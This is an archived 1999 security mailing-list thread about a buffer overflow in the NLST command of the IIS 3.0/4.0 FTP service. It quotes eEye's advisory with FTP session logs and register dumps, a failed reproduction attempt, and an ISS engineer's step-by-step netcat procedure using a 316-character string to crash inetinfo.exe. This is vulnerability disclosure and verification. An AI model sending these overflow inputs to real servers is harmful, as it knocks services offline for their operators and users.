I was able to reproduce on an NT4/SP4 machine with IIS4 (from the NT4 option pack) using the following procedure: 1.) Connect to port 21 of the target machine using netcat 2.) send: USER anonymous 3.) send: PASS root@ 4.) send: PORT w,x,y,z,122,105 where w,x,y,z is the IP address of the machine performing the attack. the 122,105 part means to connect to port 31337 on the attacking machine. 5.) In a different window or on another terminal use netcat to listen on the attacker's machine, port 31337. (nc -l -p 31337) 6.) send: NLST AAAAAAAA... (316 A's) 7.) Inetinfo.exe on the target machine should crash. You have to send a valid PORT command, and be listening on the port, for the service to crash. If you don't send a valid PORT command and listen for the connection, the FTP service will just disconnect you. -jon ===================================================================== Jon Larimer | Direct Dial: (678) 443-6159 Systems Engineer / ISS XForce Team | ISS Front Desk: (678) 443-6000 Internet Security Systems, Inc. | ISS Fax: (678) 443-6477 http://www.iss.net/ *Adaptive Network Security for the Enterprise* ===================================================================== On 25 Jan 1999, Loa'y Assaf wrote: > > TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomoat_private > Contact ntsecurity-ownerat_private for help with any problems! > --------------------------------------------------------------------------- > > Hi Marc, > > I tried to repeat your steps on a Windows NT 4.0 (SP3.0) IIS4.0 machine. I did > _NOT_ have any of the results you are taking about!! > All services are working smoothly. I could browse and access the newsgroups. > And the funniest thing is the ftp session did not close. I tried to compare it > to a simple "missing file" situation (you can see that in the final lines in > the log below). > > Below is a log of what I did. > > Can anyone confirm this? I think the problem is in Marc's installation only. > > -------------------- Start Of Test Log --------------------- > > ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > 200 PORT command successful. > 150 Opening ASCII mode data connection for file list. > 550 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAls: The system cannot find the > file specified. > ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAA > 200 PORT command successful. > 150 Opening ASCII mode data connection for file list. > 550 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAls: The system cannot find the file > specified. > ftp> ls abc.xyz > 200 PORT command successful. > 150 Opening ASCII mode data connection for file list. > 550 abc.xyz: The system cannot find the file specified. > ftp> > > ---------------------- End Of Test Log ---------------------- > > -----Original Message----- > > From: owner-ntsecurityat_private [mailto:owner-ntsecurityat_private]On > > Behalf Of Marc > > Sent: Sunday, January 24, 1999 5:56 PM > > To: BUGTRAQat_private > > Cc: NTSEC; NT System Admin Issues > > Subject: [NTSEC] Advisory: IIS FTP Exploit/DoS Attack > > > > > > > > TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomoat_private > > Contact ntsecurity-ownerat_private for help with any problems! > > ------------------------------------------------------------------ > > --------- > > > > ________________________________________________________________________ > > > > eEye Digital Security Team <e> > > www.eEye.com > > infoat_private > > Sunday, January 24, 1999 > > ________________________________________________________________________ > > > > Advisory: > > IIS Remote FTP Exploit/DoS Attack > > > > Systems Tested: > > Windows NT 4.0 (SP4) IIS 3.0 / 4.0 > > Windows 95/98 PWS 1.0 > > > > Release Date: > > Sunday, January 24, 1999 > > > > Advisory Code: > > IISE01 > > ________________________________________________________________________ > > > > Description: > > ________________________________________________________________________ > > > > While feeding in logic into Retina's artificial intelligence engine, > > which helps construct query strings to pass to internet servers, > > checking for overflow bugs and miss parsing of command strings. Our test > > server stopped responding. Below is our findings. > > > > Microsoft IIS (Internet Information Server) FTP service contains a > > buffer overflow in the NLST command. This could be used to DoS a remote > > machine and in some cases execute code remotely. > > > > Lets look at the following example attack. [Comments are in brackets.] > > > > The server must either have anonymous access rights or an attacker must > > have an account. > > > > C:\>ftp guilt.xyz.com > > Connected to guilt.xyz.com. > > 220 GUILT Microsoft FTP Service (Version 4.0). > > User (marc.xyz.com:(none)): ftp > > 331 Anonymous access allowed, send identity (e-mail name) as password. > > Password: > > 230 Anonymous user logged in. > > > > ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > > > 200 PORT command successful. > > 150 Opening ASCII mode data connection for file list. > > [The server has now processed our long NLST request and has crashed] > > -> ftp: get :Connection reset by peer > > [Our ftp client looses connection... that is a given] > > > > The above example uses 316 characters to overflow. This is the smallest > > possible buffer to pass that will overflow IIS. Lets take a look at the > > server side happenings. > > > > On the server side we have an "Application Error" message for > > inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at > > '0x41414156'. The memory could not be 'read'." > > > > If we take a look at our registers we will see the following: > > > > EAX = 0000005C EBX = 00000001 > > ECX = 00D3F978 EDX = 002582DD > > ESI = 00D3F978 EDI = 00000000 > > EIP = 710F8AA2 ESP = 00D3F644 > > EBP = 00D3F9F0 EFL = 00000206 > > > > There is no 41 hex (Our overflow character) in any of our registers so > > we chalk this up as a DoS attack for now. > > > > Lets move on and take a look at the largest string we can pass to > > overflow IIS. > > > > C:\>ftp guilt.xyz.com > > Connected to guilt.xyz.com. > > 220 GUILT Microsoft FTP Service (Version 4.0). > > User (marc.xyz.com:(none)): ftp > > 331 Anonymous access allowed, send identity (e-mail name) as password. > > Password: > > 230 Anonymous user logged in. > > [The server must either have anonymous access rights or an attacker must > > have an account] > > > > ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAA > > > > 200 PORT command successful. > > 150 Opening ASCII mode data connection for file list. > > Connection closed by remote host. > > > > In this case we passed 505 characters to overflow IIS. This is the > > largest possible (tested) buffer to pass that will overflow IIS. Lets > > take a look once again at the server side. > > > > On the server we have the same "Application Error" message for > > inetinfo.exe except this time "The instruction at '0x722c9262' > > referenced memory at "0x41414141'." This is looking mighty interesting. > > Lets look at our registers once again: > > > > EAX = 00000000 EBX = 41414141 > > ECX = 41414141 EDX = 722C1CAC > > ESI = 41414141 EDI = 41414141 > > EIP = 722C9262 ESP = 00D3F524 > > EBP = 00D3F63C EFL = 00000246 > > > > There sure are a lot of 41 hex codes in our registers now. >:-] > > > > So to wrap it all up what we have here is a DoS attack against any IIS > > server with ftp access. Keep in mind we have to be able to login. > > However, Anonymous access is granted on most servers. Once we have > > overflowed IIS all IIS services will fail. (I.E. The web service, NNTP, > > SMTP etc..) What we have seems to be a very interesting buffer overflow. > > > > ________________________________________________________________________ > > > > Special Thanks > > ________________________________________________________________________ > > > > The eEye Digital Security Team would like to extend a special thanks to > > Mudge and Dildog. > > > > ________________________________________________________________________ > > > > Copyright (c) 1999 eEye Digital Security Team > > ________________________________________________________________________ > > > > Permission is hereby granted for the redistribution of this alert > > electronically. It is not to be edited in any way without express > > consent of eEye. If you wish to reprint the whole or any part of this > > alert in any other medium excluding electronic medium, please e-mail > > alertat_private for permission. > > > > ________________________________________________________________________ > > > > Disclaimer: > > ________________________________________________________________________ > > > > The information within this paper may change without notice. Use of this > > information constitutes acceptance for use in an AS IS condition. There > > are NO warranties with regard to this information. In no event shall the > > author be liable for any damages whatsoever arising out of or in > > connection with the use or spread of this information. Any use of this > > information is at the user's own risk. > > > > Please send suggestions, updates, and comments to: alertat_private > > > > eEye Digital Security Team > > http://www.eEye.com > > infoat_private > > ________________________________________________________________________ > > > > > > ____________________________________________________________________ > Get free e-mail and a permanent address at http://www.netaddress.com/?N=1 >
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:31:02 PDT